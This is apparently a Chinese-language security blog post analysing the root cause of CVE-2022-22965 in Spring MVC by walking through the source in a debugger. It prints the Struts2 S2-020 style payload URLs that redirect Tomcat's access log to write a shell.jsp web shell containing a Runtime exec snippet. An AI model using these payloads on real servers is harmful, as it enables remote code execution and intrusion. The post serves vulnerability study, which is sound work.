淺談CVE-2022-22965漏洞成因(六)
前言:記錄一篇自己入門java安全的故事,捋一下思路,輕量知識 ,重在除錯 !
.
這篇文章四個部分:
引入篇:整理一下CVE-2022-22965漏洞的來龍去脈
基礎篇:回顧Java中一些基礎的內容
除錯篇:閱讀Spring MVC部分原始碼
分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因
.
分析篇
( 緊接" 淺談CVE-2022-22965漏洞成因(四)”,復現並分析一下CVE-2022-22965漏洞成因 )
CVE-2022-22965漏洞分析
1、在Struts2框架的S-20的問題中的攻擊手法
這裡我們僅需要了解一個思路,CVE-2022-22965中的攻擊手法與這個相同,其payload如下:
//修改寫入檔案所在的根目錄 http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT //修改寫入檔案的名稱 http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell //修改寫入檔案的字尾名 http://127.0.0.1:8080/FirstStruts2/login? class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp //修改檔案日期格式,用於切換目錄 http://127.0.0.1:8080/FirstStruts2/login? class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2 //訪問shell.jsp將會記錄日誌 http://127.0.0.1:8080/FirstStruts2/shell.jsp?=<%Runtime.getRuntime().exec("calc");%>
看完前面的除錯過程,再看這個payload基本上沒什麼問題,不再過多敘述。
.
帶Spring MVC專案的專案部署到Tomcat中(或者Spring Boot可執行jar,內建web伺服器),多加個module改下Payload,就能寫入個日誌檔案,且是jsp格式的。
簡單的改一下,用下面的Payload,訪問(無攻擊效果),看看Spring MVC版本5中是如何對請求傳參作遞迴解析、獲取PropertyDescriptor以及在這個過程中怎麼繞過了CVE-2010-1622中Spring官方的修復
http://localhost:8090/SpringMVC5/level/info?class.module.classLoader.URLs[1]=jar:http://localhost:9999/test.jar!/
2、除錯Spring MVC版本5中請求傳參作遞迴解析
從DataBinder開始
DataBinder呼叫AbstractPropertyAccessor的setPropertyValues方法遍歷每一個引數並開始對每一個引數進行解析,我們只傳了了一個需要遞迴解析的請求引數,所以,在setPropertyValues裡只會進行一輪迭代
AbstractPropertyAccessor呼叫AbstractNestablePropertyAccessor的setPropertyValue方法,在這個方法中,有解析形如"var1.var2.var3.var4.var5"這種形式的請求引數
解析class的過程如下:
解析module的過程如下:
解析classLoader的過程如下:
對class.module.classLoader.URLs[]賦值的過程如下:
第一個引數解析完畢!
3、繞過原因分析
重點就是這裡,本來的攔截規則是當內省的bean是class且獲取到的PropertyDescriptor是classLoader時,CachedIntrospectionResults是不能快取classLoader這個PropertyDescriptor的,但是jdk11中多了個Module的特性,當內省的bean是Module時,CachedIntrospectionResults就能快取classLoader這個PropertyDescriptor了。
.
.
寫在最後:
4月份時就分析了這個漏洞,但由於各種原因,拖到現在才總結出來,中間有許多有趣的東西都遺忘了,再加上臨近期末,各種事情湊團,有很多細節的東西都沒補充全。
再有就是本文重在通過除錯分析整個程式碼執行的過程,不過多追求如何攻擊,payload利用需要根據Spring部署的環境視情況而定,找到可利用鏈。(PS:自己也不是很懂)
.
推薦閱讀:
光閃師傅寫的《深入理解Spring MVC原始碼》
P牛師傅寫的Java安全漫談
yiran4827師傅的Struts2 S2-020在Tomcat 8下的命令執行分析
https://cloud.tencent.com/developer/article/1035297
Ruilin師傅的SpringMVC框架任意程式碼執行漏洞
麥兜師傅的Spring 遠端命令執行漏洞分析